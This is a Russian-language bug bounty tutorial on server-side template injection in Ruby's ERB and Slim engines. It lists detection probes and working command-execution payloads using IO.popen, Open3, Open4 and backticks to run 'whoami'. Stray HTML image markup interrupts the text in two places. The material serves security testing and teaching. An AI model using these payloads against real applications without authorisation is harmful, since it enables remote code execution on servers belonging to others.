Bug Bounty, Bug Hunting, Ruby, Ruby - ERB, Ruby - Slim, Server Side Template Injection (SSTI)

#44 Bug Bounty v.2 — Server Side Template Injection (SSTI). Ruby — ERB. Ruby — Slim

Здравствуйте, дорогие друзья.

ERB — это движок создания шаблонов на Ruby, используемый для встраивания кода на ruby. Согласно Google, “шаблон ERB выглядит как обычный текстовый документ, в который вставлены теги, содержащие код на Ruby. При оценке этот код с тегами может изменять текст в шаблоне”. Пример уязвимого шаблона можно найти на изображении ниже:

Пример уязвимого шаблона

Обратите внимание, что ERB использует следующие теги для встраивания кода:

● <% code %>

● <%= code %>

Первый пример “<%code%>” используется для выполнения кода на ruby, а второй пример “<%= code%>” используется для выполнения кода на ruby и возврата результатов. Чтобы протестировать внедрение шаблона на стороне сервера в этом движке, используйте следующую команду:

● <%= 7 * 7 %>

<%= 7 * 7 %>

Как вы можете видеть выше, код был выполнен и вернул значение “49”. Это явный признак того, что сервер уязвим для внедрения шаблона на стороне сервера. Чтобы проверить выполнение кода, просто запустите свой ruby-код, как показано ниже:

● <%= whoami %>

● <%= IO.popen(‘whoami’).readlines() %>

● <% require ‘open3’ %><% @a,@b,@c,@d=Open3.popen3(‘whoami’) %><%=

@b.readline()%>

● <% require ‘open4’ %><% @a,@b,@c,@d=Open4.popen4(‘whoami’) %><%=

@c.readline()%>

 <%= <code>whoami</code> %>» class=»wp-image-7551″/></figure>
</div>


<p class=Как вы можете видеть выше, была запущена команда “whoami”, и результаты были выведены на экран.

Ruby — Slim

Согласно Google, “Slim — это быстрый и легкий движок для создания шаблонов с поддержкой Rails 3 и более поздних версий”. Как и во многих других механизмах разработки шаблонов, при неправильной реализации может возникнуть SSTI. Пример уязвимого шаблона можно найти на изображении ниже:

Пример уязвимого шаблона

С точки зрения использования SSTI шаблонизатор slim очень похож на ERB, за исключением синтаксиса, показанного ниже:

● #{code}

#{code}

Чтобы выполнить команду оболочки, просто оберните ее обратными метками, как показано ниже:

● #{ whoami }

● #{ <code>whoami</code> }» class=»wp-image-7554″/></figure>
</div>


<p class=

Опять же, как и в случае с движком шаблонов ERB, вы можете выполнить любую команду ruby, которую захотите.

На этом все. Всем хорошего дня!

Цикл статей по Bug Bounty.